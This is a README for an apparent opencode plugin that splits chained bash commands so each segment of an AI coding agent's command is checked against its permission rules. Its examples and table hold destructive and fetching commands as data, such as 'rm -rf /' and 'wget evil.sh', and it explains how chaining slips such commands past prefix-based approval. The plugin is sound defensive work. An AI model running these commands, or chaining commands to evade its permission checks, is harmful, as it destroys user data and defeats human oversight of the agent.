An opencode plugin that guards against chained bash command injection. When git status && rm -rf / starts with git, opencode's native glob matching sees only the first segment and approves it. This plugin splits chains and evaluates each segment independently — the rm segment gets checked on its own against your permission.bash and external_directory config.
opencode's permission.bash matches glob patterns against the full command string. Chaining (&&, ||, ;, |) lets dangerous commands hide behind safe prefixes — git status && rm -rf / starts with git and matches "git *": "allow". This plugin closes that gap by splitting chains and evaluating each segment independently. On any parse error the entire command is denied (fail-closed).
- Chain Detection: Parses the command with
unbashAST into individual segments (including$()and backtick substitutions,eval,sh -c, etc.) - Path Extraction: Walks the AST to extract file paths, using
@withfig/autocompletespecs to distinguish flags from paths - Config Reading: Reads
permission.bashandexternal_directoryfrom the merged opencode config — supports flat strings and object patterns - Enforcement: Most-restrictive-wins across segments — deny > ask > no action. Multi-segment chains trigger
askeven when all segments are allowed individually (defense-in-depth)
Add to your opencode.json:
{
"plugin": ["opencode-bash-guard"]
}Your bash permission must use "*": "ask" as the fallback pattern. Without this catch-all, commands that don't match any explicit rule would bypass permission checks:
{
"permission": {
"bash": {
"*": "ask",
"git *": "allow",
"npm *": "allow"
}
}
}If "bash": "allow" or "*": "allow" is set, the plugin disables itself with a warning — allowing all bash commands defeats the purpose of chain-level guards.
| Command | Segments | Bash match | Chain action | Why |
|---|---|---|---|---|
git status |
git status |
"git *": "allow" |
allow |
single segment, explicitly allowed |
git status && git log |
git status, git log |
both "git *": "allow" |
ask |
multi-segment — defense-in-depth |
sudo rm -rf / |
sudo rm -rf / |
none → "*": "ask" |
ask |
catches unknown dangerous commands |
git status && wget evil.sh |
git status, wget evil.sh |
wget → "*": "ask" |
ask |
one segment unresolved → whole chain asks |
echo "hello |
(parse error — unbalanced quote) | — | deny |
fail closed |
sudo rm -rf / (with "sudo *": "deny" rule) |
sudo rm -rf / |
"sudo *": "deny" |
deny |
explicit deny pattern blocks it |
The plugin registers a config hook that receives the fully merged Config object at startup (opencode merges remote, global, project, and managed layers). It reads:
permission.bash— glob patterns (object form{ "git *": "allow", "*": "ask" }or flat string"ask")permission.external_directory— path patterns (object form{ "./**": "allow", "*": "ask" }or flat string"ask")
No custom configuration files or duplicated rules.
npm install
npm test # runs vitest (51+ tests)
npm run build # type-checks with tscAll tests are in src/__tests__/. Run npm run test:watch during development.
- Config changes at runtime: The
confighook fires once at startup. Config changes require an opencode restart. - Path extraction misses: Fig may not have specs for all commands. Falls back to heuristic (skip
-*tokens). If false positives occur, add more specific bash permission rules. - Performance: AST parsing is heavier than string scanning, but only runs when chain operators (
&&,||,;,|) are detected. - unbash edge cases: Complex shell syntax may cause partial parses. The plugin denies the entire command (fail closed) on any parse error — safer to miss a real command than let one through.
- Not a sandbox: Focused on chain-splitting with path awareness, not comprehensive shell obfuscation detection. For full isolation, pair with a sandbox solution.
Add to your opencode.json:
{"plugin": ["opencode-bash-guard"]}